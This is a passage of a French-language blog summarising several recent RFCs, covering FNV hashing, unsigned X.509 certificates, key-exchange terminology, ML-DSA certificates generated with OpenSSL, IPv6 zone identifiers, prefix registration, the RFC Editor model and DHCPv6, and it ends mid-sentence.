Vous trouverez par contre du FNV un peu partout (la section 1.2 vous donne une liste), dès que ces questions de sécurité ne sont pas pertinentes. FNV est même cité dans des RFC, le RFC 7357 ou le RFC 7873 (les cookies du DNS) ou bien dans la norme IEEE 802.1Qbp.
FNV a une longue histoire (section 7 du RFC), ayant commencé en
1991. On notera que la définition de FNV inclut quelques valeurs
largement arbitraires comme, par exemple, la chaine de caractères
« chongo <Landon Curt Noll> /\../\ », dont le condensat
fournit le paramètre offset_basis (section
2.2). Cette chaine était dans le .signature
d'un des auteurs de FNV mais, c'est amusant, avait été mal
recopiée.
Le gros (en nombre de pages) du RFC étant constitué de code source en C, avec des variantes selon le nombre de bits produits, plutôt que de tenter de l'extraire du RFC, utilisons cette archive tar que j'ai constituée :
% tar xzvf FNV-RFC.tar.gz % cd FNV-RFC % echo -n toto > tmp % make FNVhash % ./FNVhash -t 64 -f tmp FNV-64 test of return values passed. FNV-64 Hash of contents of file 'tmp': ADC7B038EFF1F42F
Et voilà, FNV marche. Il existe d'autres mises en œuvre. Celle de référence est présentée ici et est également sur Github :
% git clone https://github.com/lcn2/fnv % cd fnv % make % ./fnv1a64 -s toto 0x2ff4f1ef38b0c7ad [Oui, les octets ne sont pas affichés dans le même ordre qu'avec le code du RFC.]
Vous avez aussi d'autres mises en œuvre (une des plus rigolotes est en Fortran). Et elle n'est pas listée mais il y a une mise en œuvre de FNV dans le langage Zig (notez son utilisation de comptime).
Et pour finir, si vous vous demandez quelle fonction de condensation utiliser, il y a une comparaison de FNV avec SHA-1 (RFC 3174) et SHA-256 (RFC 6234) dans l'annexe A.
Date de publication du RFC : Février 2026
Auteur(s) du RFC : D. Benjamin (Google)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lamps
Première rédaction de cet article le 27 février 2026
Un certificat est signé par une AC, normalement, ou à la rigueur auto-signé, ce qui ne sert pas à grand'chose mais est obligatoire dans X.509. Mais voici que ce RFC rend la signature facultative.
À ma connaissance, le seul intérêt d'auto-signer son certificat
est de prouver qu'on a bien la clé privée correspondante (car un
plaisantin peut toujours fabriquer un certificat avec la clé
publique de quelqu'un d'autre) et, en prime, de vérifier
l'intégrité. C'est pas crucial. Mais la norme
X.509 (cf. RFC 5280) ne
permet pas d'avoir un certificat sans
signature. Notre RFC 9925 contourne
cette obligation en enregistrant un nouvel algorithme,
id-alg-unsigned,
qui indique qu'il n'y a pas de signature du tout.
C'est parce que, parfois, on n'a pas besoin des signatures. Un exemple typique se trouve dans votre magasin d'AC : vous ne vérifiez pas les signatures (vous ne pouvez pas, puisque les AC sont à la racine de la validation, RFC 5280, section 6), la seule présence du certificat dans le magasin inspire la confiance. Les certificats des AC sont donc auto-signés, ce qui ne sert pas à grand'chose, à part à satisfaire les exigences syntaxiques du format X.509. Ici, le certificat d'une AC du magasin de ma machine Ubuntu ; Issuer est égal à Subject, le certificat est auto-signé :
% openssl x509 -text -in /etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
Certificate:
Issuer: C = ES, CN = Autoridad de Certificacion Firmaprofesional CIF A62634068
Subject: C = ES, CN = Autoridad de Certificacion Firmaprofesional CIF A62634068
…
X509v3 Basic Constraints: critical
CA:TRUE, pathlen:1
X509v3 Key Usage: critical
Certificate Sign, CRL Sign
…
(Une autre solution serait le RFC 5914 mais il ne semble pas très courant.)
Un autre cas où on se moque de la signature du certificat est celui où le certificat est validé d'une autre façon, par exemple un serveur EPP sur TLS qui a une liste de tous les clients possibles, et des certificats que le registre a distribués à ses BE.
Donc, il y a des cas où la signature ne sert guère, voire pas du tout. Mais est-ce gênant ? Ce n'est pas dramatique mais, dans certains cas, c'est sous-optimal, par exemple :
draft-ietf-lamps-kyber-certificates).La section 3 du RFC fournit les détails techniques. Dans le
certificat, on met le champ signatureAlgorithm
à id-alg-unsigned et le champ
signatureValue à une chaine vide. Le champ
issuer pourrait être vide puisque personne n'a
signé le certificat, mais comme il était obligatoire, pour éviter de
choquer les applications actuelles, il vaut mieux mettre un
issuer égal au subject
(comme pour un auto-signé). On a le droit de mettre plutôt un nom
/id-rdna-unsigned= (en fait
1.3.6.1.5.5.7.25.1 mais je montre la
représentation textuelle du RFC 4514). RDNA signifie
Relative
Distinguished Name Attribute et un nouveau
registre, « SMI
Security for PKIX Relative Distinguished Name
Attribute », est créé pour accueillir
id-rdna-unsigned et d'autres futurs noms
(politique de Spécification nécessaire, cf. RFC 8126).
Quand une application rencontre un de ces certificats non signés, si elle valide les signatures, elle doit évidemment rejeter le certificat. Si elle est plus laxiste (ou bien a d'autres mécanismes de vérification), elle peut l'accepter (section 4). Les applications et bibliothèques existantes font déjà cela (elles rejettent les signatures d'algorithmes inconnus) donc l'introduction des certificats non signés ne devrait rien casser.
Quelques conseils de sécurité figurent en section 5, par exemple de ne pas réutiliser les clés dans des contextes différents. (X.509, jusqu'à présent, ignorait ce conseil pour les certificats auto-signés puisque la clé publiée servait aussi à signer. Plus de signature, plus de problème.)
Désolé, mais je n'ai pas trouvé comment générer aujourd'hui de tels certificats, que ce soit avec OpenSSL (c'est en cours) ou d'autres logiciels. Si vous trouvez, ça m'intéresse, je pourrais mettre des essais pratiques ici.
Première rédaction de cet article le 26 février 2026
Comme j'écris souvent des articles où je parle de cryptographie, alors que je ne connais pas grand'chose à la cryptographie moderne (et un peu plus à la cryptographie antique), je me suis demandé quelle était la définition exacte de l'échange de clés, terme qu'on voit souvent dans les RFC.
Donc, je commence par te mettre en garde, cher lecteur et brillante lectrice : on est nettement en dehors de mon domaine de compétence. Cela ne va pas m'empêcher d'écrire, mais je préviens les expert·es en cryptographie qu'ils risquent des maladies cardiaques violentes à me lire. Ceci dit, je prends avec intérêt toutes les remarques que les dit·es expert·es pourraient envoyer, et pas la peine de prendre des gants, je ne suis pas fragile. Autre problème, j'ai bien l'impression que la terminologie dans ce domaine n'est pas consensuelle, ou pas encore stabilisée.
Lorsqu'on a de la cryptographie hybride (hybride au sens ancien, celui du RFC 9180, pas au sens plus récent en cryptographie post-quantique, tel que discuté dans le RFC 9794), on a de la cryptographie asymétrique pour sa souplesse et de la cryptographie symétrique pour sa performance. Une clé pour la cryptographie symétrique (forcément privée puisqu'on est en cryptographie symétrique) est créée et les deux parties l'utilisent pour chiffrer. Le mécanisme par lequel les deux parties connaissent la clé est appelé l'échange de clés (key exchange dans les RFC) même si, en pratique, la clé n'est pas toujours échangée (avec Diffie-Hellman, la même clé est générée des deux côtés, elle ne voyage jamais). Mais j'ai déjà vu une autre définition d'échange de clés, qui est de restreindre ce terme au cas où la clé n'est pas échangée (oui, je sais, c'est bizarre), comme avec Diffie-Hellman cité plus haut. Et la définition du NIST est encore différente.
J'ai dit que la terminologie n'est pas stable ou en tout cas pas universellement adoptée, du moins c'est ce que je vois du haut de ma grande ignorance de la cryptographie moderne. J'ai vu passer « établissement de clé » (key establishment) au lieu du plus classique « échange de clé » (j'ai aussi vu « accord sur la clé » - key agreement). Et, fin février 2026, les articles de Wikipédia sur l'échange de clés et l'encapsulation de clé donnaient des définitions différentes de ce qu'est un échange de clés. Donc, je vais expliquer ce que j'utilise, moi, et rappelez-vous que tout le monde n'est pas d'accord sur la terminologie.
Lorsque la clé de chiffrement (cryptographie symétrique) est générée par une seule des deux parties, puis transmise à l'autre partie, grâce à la cryptographie asymétrique, on parle de transport de clé ou d'encapsulation de clé (comme dans le sigle KEM, Key Encapsulation Mechanism, très à la mode en ce moment avec les algorithmes post-quantiques, mais qui n'est pas spécifique à ces algorithmes). Pour compliquer les choses, le RFC 4949 donne une autre définition d'« encapsulation de clé », mais qui semble dépassée désormais…
Un exemple de transport de clé serait un mécanisme où une des deux parties crée la clé de chiffrement symétrique, puis la chiffre avec la clé publique (cryptographie asymétrique, donc) de l'autre partie avant de lui envoyer. N'utilisez pas cette méthode telle quelle, elle est trop simpliste et a plusieurs failles de sécurité (comme, entre autres, l'absence de confidentialité persistante), ce qui explique qu'on utilise plutôt aujourd'hui un KEM, qui obéit à une définition plus stricte. Notez que, pour la confidentialité persistante, utiliser un KEM ne suffit pas, il faut quelques précautions supplémentaires, mais on s'éloigne du sujet.
À l'inverse, si la clé est générée par les deux parties (cas de ECDH par exemple), on va parler d'échange de clés (définition étroite, la définition large étant que tout est un échange de clés).
Bref, comme j'écris beaucoup sur les RFC, je vais m'en tenir à la terminologie des RFC, où « échange de clés » (key exchange) désigne toutes les méthodes d'établissement de clé et où « encapsulation de clé » est un sous-ensemble des méthodes d'échange de clés.
Et je vais conclure avec une citation en anglais de l'excellent blogueur Martin Fowler sur pourquoi j'écris sur un sujet que je ne connais pas : « When I'm writing, I'm not usually explaining things I've already figured out, I'm doing the figuring out as I write. It's often pointed out that the etymology of the word “essay” comes the French essayer, meaning “to try”, and that writing an essay is about trying out your ideas. The act of writing something down has often helped me understand a topic, indeed I think that's a large part of why I write as much as I do. I enjoy trying to understand things, and writing for others is a vital tool to help me do that. »
Date de publication du RFC : Octobre 2025
Auteur(s) du RFC : J. Massimo, P. Kampanakis (AWS), S. Turner (sn3rd), B. E. Westerbaan (Cloudflare)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lamps
Première rédaction de cet article le 18 février 2026
Vous reprendrez bien un peu de post-quantique ? Ce RFC normalise l'utilisation de signatures ML-DSA dans les certificats X.509.
ML-DSA est un des premiers gagnants du concours du NIST (il se nommait Dilithium à l'époque). Il est normalisé dans FIPS-204. Il utilise les réseaux euclidiens. C'est un algorithme de signature et il a donc toute sa place dans les certificats X.509, aux côtés des plus classiques RSA et ECDSA. Petit rappel de cryptographie post-quantique au passage : contrairement à RSA, ML-DSA ne sait faire que les signatures, pas l'échange de clés. Vous pouvez donc mettre des clés publiques ML-DSA dans un certificat, le signer avec ML-DSA mais, pour un protocole comme TLS, il faudra utiliser autre chose pour l'échange de clés (par exemple ML-KEM, autre vainqueur du concours NIST).
Mettre du post-quantique dans les certificats était moins urgent que dans l'échange de clés : ici, pas de risque qu'un attaquant prévoyant stocke des communications chiffrées, en attendant d'avoir un calculateur quantique pour les décrypter. Avec TLS, le risque est nul car la signature est au moment de la connexion, les calculateurs quantiques ne pourront usurper que les communications futures. Mais, bon, les certificats sont utilisés pour autre chose que TLS, et, comme il faut se préparer à un lent déploiement, il vaut mieux s'y prendre tout de suite.
Notez aussi qu'il n'y a pas que les certificats qui sont signés, les CRL le sont aussi, et ce RFC s'applique aussi à ces listes.
Des deux variantes normalisées dans FIPS-204, « pure » et « HashML-DSA », seule la première est utilisée dans notre RFC, pour les raisons qu'explique la section 8.3.
Le RFC utilise trois niveaux de sécurité différents, et les
identificateurs pour les trois niveaux sont
id-ml-dsa-44 (OID
2.16.840.1.101.3.4.3.17),
id-ml-dsa-65 (OID
2.16.840.1.101.3.4.3.18) et
id-ml-dsa-87 (OID
2.16.840.1.101.3.4.3.19). (Ces OID sont enregistrés
par le NIST.) D'autre part, l'IANA a
enregistré l'identificateur
id-mod-x509-ml-dsa-2025 (OID
1.3.6.1.5.5.7.0.119) pour le module ML-DSA
(annexe A).
Un certificat X.509 contient des indications sur les utilisations
permises (section 4.2.1.3 du RFC 5280). Comme
ML-DSA sait faire des signatures mais pas des échanges de clés, un
certificat avec ML-DSA aura les utilisations de signature, comme
keyCertSign mais pas celles d'échange de clés
comme keyEncipherment.
Le format de la clé privée (section 6) a été un des sujets de discussions chauds à l'IETF (et chez les implémenteurs). Dans la norme FIPS-204, on peut définir une clé privée de deux façons, une optimisée (section 4 de la norme) où on ne stocke que la graine (notée ξ) ou bien une forme longue avec la graine, les éléments de la clé secrète, etc. On peut déduire la clé de la graine (section 6.1 de la norme), mais pas l'inverse donc si vous ne gardez pas la graine, vous pourrez toujours signer mais pas retrouver la graine. Le RFC permet de stocker la clé privée de trois façons, la graine seule (la méthode recommandée, cf. section 8.1), la clé seule (déconseillé) ou les deux (voir un exemple plus loin).
Je n'ai pas trouvé de certificat utilisant ML-DSA dans la nature.
crt.sh ne permet pas de
chercher par algorithme, même dans ses fonctions avancées. Il
faudrait écrire son propre client d'examen des journaux
Certificate Transparency (RFC 9162) et j'avais la flemme. Donc, on va utiliser
OpenSSL 3.5 pour fabriquer des certificats (je
n'ai pas testé pour voir s'ils étaient parfaitement conformes au RFC…).
% openssl req -new -newkey mldsa44 -keyout mldsa.key -out mldsa.csr -nodes -subj "/CN=test" % openssl x509 -in mldsa.csr -out mldsa.crt -req -signkey mldsa.key -days 2001 Certificate request self-signature ok subject=CN=test
Et hop, nous voilà avec un beau certificat :
% openssl x509 -text -in mldsa.crt
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
54:5b:c0:5d:0e:85:83:43:90:77:93:4f:53:83:e1:38:a2:12:9f:61
Signature Algorithm: ML-DSA-44
Issuer: CN=test
Validity
Not Before: Feb 17 15:01:53 2026 GMT
Not After : Aug 11 15:01:53 2031 GMT
Subject: CN=test
Subject Public Key Info:
Public Key Algorithm: ML-DSA-44
ML-DSA-44 Public-Key:
pub:
15:10:02:cc:d6:ec:53:12:bb:6d:34:23:82:65:ec:
…
X509v3 extensions:
X509v3 Subject Key Identifier:
6E:F9:AD:56:9C:AA:60:EF:ED:B7:A1:7B:70:F6:71:55:74:B8:68:B9
Signature Algorithm: ML-DSA-44
…
Autre solution, de plus bas niveau, en découpant les étapes :
# Créer la clé privée
openssl genpkey -algorithm ML-DSA-44 -out private.pem
# Extraire la clé publique (mais on ne s'en servira pas ici)
openssl pkey -in private.pem -pubout -out public.pem
# Créer la demande de signature du certificat
openssl req -new -subj /CN=Test -key private.pem -out cert.csr
# (Auto-)Signer
openssl x509 -req -in cert.csr -signkey private.pem -out cert.pem
Certificate request self-signature ok
subject=CN=Test
# Vérifier
openssl x509 -text -in cert.pem
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
7c:65:cb:17:5b:ed:ee:08:c9:1a:6b:a5:97:da:ac:b8:0e:6e:df:cd
Signature Algorithm: ML-DSA-44
Issuer: CN=Test
Validity
Not Before: Feb 18 13:24:05 2026 GMT
Not After : Mar 20 13:24:05 2026 GMT
Subject: CN=Test
Subject Public Key Info:
Public Key Algorithm: ML-DSA-44
ML-DSA-44 Public-Key:
…
Signature Algorithm: ML-DSA-44
…
Et si vous voulez utiliser des extensions comme la restriction d'utilisation du certificat (ici, on se limite à la signature), remplacez la demande de signature et la signature par :
openssl req -new -subj /CN=Test -key private.pem -out cert.csr -addext "keyUsage=digitalSignature" openssl x509 -req -in cert.csr -signkey private.pem -out cert.pem -copy_extensions copy
Si vous voulez regarder ce qu'il y a dans la clé privée :
% openssl pkey -text -in private.pem
…
ML-DSA-44 Private-Key:
seed:
48:c8:e4:e3:63:16:c0:e4:57:da:22:31:94:36:98:
..
priv:
d9:0b:5b:8d:18:4f:61:8d:c0:8f:85:6c:97:28:46:
…
Vous voyez que sont stockées graine et clé (et la clé publique, plus loin).
Pour wolfSSL, vous pouvez regarder ici.
Pour des « vrais » certificats, notez que Digicert en fait apparemment, ainsi que l'AC pour usage privé d'AWS. Vous connaissez d'autres AC qui permettraient ML-DSA ?
Sinon, l'annexe C du RFC comprend de nombreux exemples de clés et de signatures.
Date de publication du RFC : Août 2025
Auteur(s) du RFC : B. Carpenter (Univ. of
Auckland), R. Hinden (Check Point Software)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF 6man
Première rédaction de cet article le 17 février 2026
Ce très court RFC normalise la façon d'indiquer la zone quand il faut écrire une adresse IPv6 locale. Il remplace le RFC 6874, et est très différent, notamment parce qu'il ne s'applique plus aux URI.
Les zones sont définies et expliquées dans le RFC 4007. En gros, une adresse IPv6
n'est pas forcément globale, elle peut avoir une signification
limitée à une seule zone, une zone étant un ensemble de sous-réseaux
contigus, souvent composé d'un seul lien Ethernet. Les adresses
locales au lien, par exemple, celles qui sont dans le préfixe
fe80::/10, sont dans ce cas, le lien qui les
relie forme une zone. Une zone n'a de signification que locale, elle
n'a pas de sens sur l'Internet public. Comment préciser la zone dans
une interface qui accepte les adresses IPv6 ? La syntaxe de
celles-ci est normalisée dans le RFC 4291 et
le RFC 5952 mais ne prévoit rien pour la
zone. C'est surtout ennuyeux pour les réseaux purement IPv6 (RFC 8925) ou essentiellement IPv6 (draft-ietf-v6ops-6mops). Notre
RFC impose donc (section 5) que toute interface qui permet
d'indiquer des adresses IP permette également d'indiquer la
zone.
Indiquer la zone est utile pour les applications de déboguage (cf. l'exemple avec ping plus loin) ou pour configurer une machine (« ton serveur pour le service XXX est à l'adresse YYY »).
Pour indiquer cette zone, ce RFC normalise l'utilisation d'un %, puis l'identificateur de la zone, après l'adresse. La convention du % est décrite en section 11 du RFC 4007. Si l'interface utilisée pour entrer des adresses IP a un problème spécifique avec le %, le RFC autorise à utiliser le tiret à la place. Et si même cela est impossible, le RFC recommande deux champs, un pour l'adresse seule et un pour la zone. Ici, sur une machine Linux, avec le % :
% ping -c 3 fe80::f437:ded0:7b2:1241%enp1s0 PING fe80::f437:ded0:7b2:1241%enp1s0 (fe80::f437:ded0:7b2:1241%enp1s0) 56 data bytes 64 bytes from fe80::f437:ded0:7b2:1241%enp1s0: icmp_seq=1 ttl=64 time=68.0 ms 64 bytes from fe80::f437:ded0:7b2:1241%enp1s0: icmp_seq=2 ttl=64 time=13.2 ms 64 bytes from fe80::f437:ded0:7b2:1241%enp1s0: icmp_seq=3 ttl=64 time=15.6 ms --- fe80::f437:ded0:7b2:1241%enp1s0 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 13.175/32.268/68.015/25.296 ms
On teste la machine fe80::f437:ded0:7b2:1241
reliée au réseau identifié par enp1s0 (dans le
cas de Linux, c'est le nom d'une interface réseau mais d'autres
systèmes d'exploitation peuvent utiliser une syntaxe différente, par
exemple identifier les zones par un simple numéro comme le fait
Microsoft Windows).
Notez que ce n'est pas ping qui a reconnu et traité l'indication
de la zone mais le sous-programme
getaddrinfo (RFC 3493). Autrement, on aurait pu utiliser un
bricolage pour se connecter à une adresse lien local via une
bibliothèque LD_PRELOAD, où
l'application n'a pas besoin de connaitre cette syntaxe. Notez que
la fonction inet_pton ne va pas
accepter les adresses avec indication de zone, il faut utiliser
getaddrinfo ou bien, séparement,
inet_pton et
if_nametoindex.
Autre exemple d'utilisation, comme indiqué plus haut, la
configuration d'un équipement, par exemple pour lui indiquer « ton
résolveur DNS est
fe80::f437:ded0:7b2:1241%enp1s0 ». Ou bien les
filtres utilisés pour ne capturer que le trafic d'une machine. Mais
tcpdump (ou Wireshark)
ne reconnaissent pas actuellement cette syntaxe :
% tcpdump -n host fe80::f437:ded0:7b2:1241%enp1s0 tcpdump: can't parse filter expression: syntax error
(Pour tcpdump, il faudrait faire tcpdump -n -i enp1s0 host
fe80::f437:ded0:7b2:1241.)
Plus pittoresque, le système OneNet Marine IPv6 Ethernet Networking Standard de la NMEA utilise uniquement des adresses locales au lien et doit donc absolument utiliser un mécanisme permettant d'indiquer la zone.
Le RFC ne liste pas les différences avec son prédécesseur RFC 6874 car elles sont trop nombreuses. Le
principal changement est certainement l'abandon d'une
standardisation des zones dans les URI, qui n'avait jamais vraiment marché
(cf. draft-schinazi-httpbis-link-local-uri-bcp).
Date de publication du RFC : Février 2026
Auteur(s) du RFC : P. Thubert
Chemin des normes
Première rédaction de cet article le 14 février 2026
Une addition sympa au mécanisme de découverte des voisins d'IPv6 (RFC 4861), utile pour les réseaux d'objets contraints, genre Internet des Objets mais aussi les réseaux à connectivité imparfaite, par exemple avec des hauts et des bas : la possibilité pour une machine qui est connectée à un réseau d'un préfixe donné d'enregistrer ce préfixe auprès des routeurs voisins. Ceux-ci sauront alors où envoyer les paquets pour ce préfixe. Cela ne remplace pas les protocoles de routage traditionnels, c'est plutôt une addition pour optimiser les protocoles spécialisés dans les réseaux contraints.
Le cœur de cible de ce RFC, ce sont les LLN (Low power and Lossy Networks, les réseaux « pauvres », avec pas beaucoup d'énergie et des liaisons pourries, cf. RFC 7102 et RFC 7228). La préoccupation principale est d'économiser l'énergie ; éviter de transmettre (la radio coûte cher) et s'endormir le plus souvent possible. Ces LLN utilisent des technologies comme 6LoWPAN (RFC 4919) et le protocole de routage RPL du RFC 6550. Les protocoles conçus pour les LLN n'utilisent donc pas d'émissions périodiques (comme le fait OSPF), qui consomment de l'énergie, et obligent tout le monde à écouter tout le temps, donc à ne pas dormir. L'idée de ce RFC est de compter sur quelques routeurs qui sont moins contraints (par exemple parce qu'ils sont connectés à une prise de courant) et que les autres signalent aux routeurs les préfixes connus, lorsqu'ils sont réveillés.
Autre exemple, les mécanismes IPv6 de
découverte du voisin (RFC 4861 et RFC 4862) ont été conçus en pensant à des machines
alimentées électriquement en permanence, sur des réseaux comme
Ethernet, où diffuser à tout le monde est peu
coûteux. Mais ils ne fonctionnent plus si, par exemple, certaines
machines sont endormies, et ne répondent donc pas aux
sollicitations. D'où des idées comme le RFC 6775, où une machine n'attend pas les sollicitations,
elle profite de ses périodes d'éveil pour enregistrer son adresse
auprès du routeur. Idem avec le projet draft-ietf-6man-ipv6-over-wireless. L'idée
a ensuite été généralisée par le RFC 8505,
sur lequel s'appuie notre nouveau RFC, qui permet d'enregistrer un
préfixe IP entier. Notez bien que cette technique est indépendante
de la manière dont la machine a reçu ce préfixe en allocation, et de
la manière dont le routeur auprès duquel on s'enregistre va ensuite
diffuser son préfixe dans son domaine de routage.
La section 3 du RFC donne une vision générale du nouveau mécanisme, je vous laisse la lire 😃.
Notez (section 11) que la machine qui enregistre un préfixe peut mentir et que cette technique doit donc être déployée en comprenant les caractéristiques spécifiques du réseau (par exemple, fermé ou au contraire ouvert sur l'Internet). Le RFC 8928 est ici une bonne lecture, ainsi que la section 9 de notre RFC.
Et merci à Pascal Thubert pour sa relecture. (Naturellement, je reste responsable des erreurs et approximations.)
Date de publication du RFC : Février 2026
Auteur(s) du RFC : P. Hoffman (ICANN), A. Rossi (RFC
Series Consulting Editor)
Pour information
Réalisé dans le cadre de l'activité d'édition des RFC rswg
Première rédaction de cet article le 12 février 2026
Vous avez toujours voulu savoir qui s'occupait de publier les RFC et qu'est-ce que ce mystérieux « RFC Editor » ? Ce nouveau RFC décrit ce rôle et la façon dont il doit accomplir sa tâche. Il s'agit d'une légère mise à jour du RFC 9280, sans changement de version. (Parmi les nouveautés, la définition de la notion d'utilisateurice des RFC, avant, on ne parlait que des auteurices.)
Les RFC sont un ensemble de documents techniques au sujet de l'Internet, qui comprend notamment, mais pas uniquement, les normes TCP/IP. Les RFC sont librement accessibles en ligne et sont publiés depuis 1969 (cf. RFC 8700).
Il y a très longtemps, quand les dinosaures étaient petits, le rôle de RFC Editor s'incarnait bien dans une personne unique, Jon Postel. Aujourd'hui, c'est plus complexe et il n'y a plus, depuis la version 2 du modèle (qui était dans le RFC 8728), de RFC Editor unique. Ce rôle est désormais réparti en deux tâches principales, définir la politique, et la mettre en œuvre. La première tâche est du ressort du RSWG (RFC Series Working Group), pour discuter et proposer (tout le monde, et son chat, peut y participer), puis du RSAB (RFC Series Approval Board), pour décider (ce comité est plus fermé). La deuxième tâche, la mise en œuvre de la politique, est du ressort du RFC Production Center, typiquement une organisation privée sous contrat avec l'IETF LLC, l'organisation administrative derrière l'IETF (RFC 8711). Ce sont donc tous ces groupes ensemble qui composent le « RFC Editor ». Tout ceci, et quelques autres points, étaient déjà dans le RFC 9280, notre nouveau RFC 9920 n'apporte que des changements de détail.
Les RFC sont publiés par cinq voies (streams) différentes, dont une, la voie IETF, sert pour les normes (mais tous les RFC ne sont pas des normes). Chaque voie a une organisation ou une personne responsable du contenu des RFC (pour la voie IETF, le responsable est… l'IETF), la fonction RFC Editor ne gère pas le contenu (ou seulement la forme, mais pas le fond des documents) mais la publication. Le RFC 8729, dans sa section 5.1, décrit les quatre voies classiques (IETF, IRTF, IAB et indépendante). En plus, le RFC 9280 avait introduit la voie éditoriale, dédiée aux évolutions des RFC (les RFC parlant des RFC…). C'est via cette voie que seront publiés les propositions issues du RSWG et approuvées par le RSAB. Un exemple est le récent RFC 9896, dont vous pouvez suivre l'historique.
Dans les deux tâches décrites plus haut (la définition de la politique, et sa mise en œuvre), je n'ai pas mentionné un acteur supplémentaire (comme s'il n'y en avait pas déjà assez !), le RFC Series Consulting Editor, qui est un·e expert·e en édition, membre du RSAB.
Et donc, si vous avez des idées géniales pour améliorer les RFC, il faut faire comment pour qu'elles triomphent ? Lisez la section 3 et notamment la 3.2.2 :
Chaque acteur est décrit ensuite plus en détail. Le RSWG est le groupe le plus ouvert du lot, vous vous abonnez à sa liste de diffusion et c'est parti, vous êtes membre. Et ceci que vous soyez déjà participant à l'IETF ou pas. Les développeur·ses qui mettent en œuvre les RFC, les auteurs de RFC, les auteurs de logiciels qui traitent les RFC, les gens qui citent les RFC dans leurs appels d'offres, tous ceux et toutes celles là sont les bienvenu·es. Les discussions sont publiques. Le RSWG peut aussi utiliser des outils en ligne comme MicrosoftHub (RFC 8874).
Le RSAB, lui, est relativement fermé, aussi bien dans sa composition (les membres avec droit de vote sont un représentant de chaque voie plus le RFC Series Consulting Editor, cf. section 5) que dans son travail (mais les comptes-rendus des réunions sont publics). Par contre, il n'est pas censé court-circuiter le RSWG : toutes les propositions doivent d'abord être discutées au RSWG.
Les boilerplates, ces textes rigides présents au début de chaque RFC et expliquant le statut de celui-ci, décrits dans le RFC 7841, sont décidés par chaque voie puis approuvés par le RSAB, le RFC Production Center et l'IETF Trust.
Le RPC (RFC Production Center) est décrit en section 4. C'est actuellement AMS. C'est ce RPC qui va écrire et maintenir le guide stylistique à respecter (RFC 7322 et documents en ligne), décider des formats acceptés (par exemple du profil restreint de SVG, cf. RFC 9896), et préciser les points que le RFC 7991 laissait libres. C'est aussi le RPC qui doit faire le travail de publication effectif :
www.rfc-editor.org qui les distribue,
archiver les RFC (RFC 8153), annoncer les
publications (le RPC est sur le fédivers,
voyez par exemple cette
annonce, et il y a bien sûr un flux de
syndication sur le site Web),Le RPC est choisi suite à un appel d'offres de l'IETF LLC, qui est chargée d'écrire le cahier des charges détaillé et de sélectionner le vainqueur. L'argent vient du budget de l'IETF LLC, qui paie le RPC (AMS, actuellement, comme indiqué plus haut).
Et le RSCE (RFC Series Consulting Editor) ? La section 5 le décrit plus en détail. C'est une personne expérimentée dans les questions d'édition. Il ou elle doit guider le RPC sur les questions techniques liées à la publication (la section 4 du RFC 8729 donne une liste complète de ces questions). La RSCE actuelle, depuis 2022, est Alexis Rossi, une des auteures de ce RFC.
Une des nouveautés du RFC 9280 était la voie éditoriale (Editorial Stream), la cinquième voie de création de RFC, consacrée aux RFC qui parlent des RFC. La section 6 de notre RFC la détaille. Cette voie est empruntée par les RFC discutés par le RSWG puis approuvés par le RSAB, comme ce RFC 9920 dont vous êtes en train de lire le résumé. Le statut de ces RFC est forcément « Pour information » (informational, cf. RFC 8729), mais ce sont bien des règles impératives pour les RFC qu'ils spécifient.
Et, pour finir, la section 7 de notre RFC liste les propriétés « historiques » des RFC qui, si elles n'ont pas forcément été mises par écrit, surtout au début, ont toujours été respectées et ne doivent pas être prises à la légère lors des propositions d'évolution :
La section 1.1 de notre RFC résume les changements depuis le RFC 9280, qui avait spécifié la version 3 du modèle « RFC Editor ». On reste en version 3 et les changements sont peu importants :
La section 9, quant à elle, raconte les changements qu'il y avait eu depuis la version 2 du modèle (la version 1 du modèle était dans le RFC 5620 en 2009 et la version 2 dans le RFC 6635 en 2012) :
Date de publication du RFC : Janvier 2026
Auteur(s) du RFC : T. Mrugalski (ISC), B. Volz
(Individual Contributor), M. Richardson
(SSW), S. Jiang (BUPT), T. Winters (QA
Cafe)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dhc
Première rédaction de cet article le 11 février 2026
IPv6 dispose de trois mécanismes principaux pour l'allocation d'une adresse IP à une machine. L'allocation statique, « à la main », le système d'« autoconfiguration » SLAAC du RFC 4862 et DHCP. DHCP pour IPv6 était normalisé dans le RFC 8415, que notre RFC met à jour. Le protocole n'a guère changé, le principal changement est la suppression de certaines fonctions peu utilisées.
DHCP permet à une machine (qui n'est pas forcément un ordinateur, ou plus exactement qui n'est pas perçue comme telle) d'obtenir une adresse IP (ainsi que plusieurs autres informations de configuration) à partir d'un serveur DHCP du réseau local. C'est donc une configuration « avec état », du moins dans son mode d'utilisation le plus connu. (Notre RFC documente également un mode sans état.) DHCP nécessite un serveur, par opposition à l'autoconfiguration du RFC 4862 qui ne dépend pas d'un serveur (cette autoconfiguration sans état peut être utilisée à la place de ou bien en plus de DHCP). Deux utilisations typiques de DHCP sont le SoHo où le routeur est également serveur DHCP pour les trois PC connectés et le réseau local d'entreprise où deux ou trois machines Unix distribuent adresses IP et informations de configuration à des centaines de machines.
Le principe de base de DHCP (IPv4 ou IPv6) est simple : la nouvelle machine annonce à la cantonade qu'elle cherche une adresse IP, le serveur lui répond, l'adresse est allouée pour une certaine durée, le bail, la machine cliente devra renouveler le bail de temps en temps.
L'administrateur d'un réseau IPv6 se pose souvent la question « DHCP ou SLAAC » ? Notez que les deux peuvent coexister, ne serait-ce que parce que certaines possibilités n'existent que pour un seul des deux protocoles. Ainsi, DHCP seul ne peut indiquer l'adresse du routeur par défaut. Pour le reste, c'est une question de goût.
Le DHCP spécifié par notre RFC ne fonctionne que pour IPv6, les RFC 2131 et RFC 2132 traitant d'IPv4. Les deux protocoles restent donc complètement séparés, le RFC 4477 donnant quelques idées sur leur coexistence. Il a parfois été question de produire une description unique de DHCPv4 et DHCPv6, ajoutant ensuite les spécificités de chacun, mais le projet n'a pas eu de suite (section 1.2 de ce RFC), les deux protocoles étant trop différents.
DHCP fonctionne par diffusion
restreinte. Un client DHCP,
c'est-à-dire une machine qui veut obtenir une adresse, diffuse (DHCP
fonctionne au-dessus d'UDP, RFC 768, le
port source est 546,
